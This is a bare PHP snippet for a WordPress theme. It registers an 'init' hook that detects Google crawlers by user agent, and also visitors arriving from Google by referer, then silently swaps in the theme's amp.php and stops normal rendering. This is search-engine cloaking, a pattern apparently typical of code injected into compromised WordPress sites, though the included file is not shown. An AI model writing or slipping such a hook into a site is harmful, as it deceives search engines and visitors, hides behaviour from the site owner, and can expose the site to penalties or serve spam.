add_action('init', function () {
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $referer   = $_SERVER['HTTP_REFERER'] ?? '';

    $googleBots = [
        'Googlebot','AdsBot','Mediapartners-Google','APIs-Google',
        'Googlebot-Image','Googlebot-Video','Googlebot-News','Googlebot-Search',
        'Googlebot-Inspect','Googlebot-Android','Googlebot-Mobile',
        'Googlebot-Ads','Googlebot-Discovery','Google-',
    ];

    if (
        preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) ||
        strpos($referer, 'google.') !== false
    ) {
        include get_template_directory() . '/amp.php';
        exit;
    }
});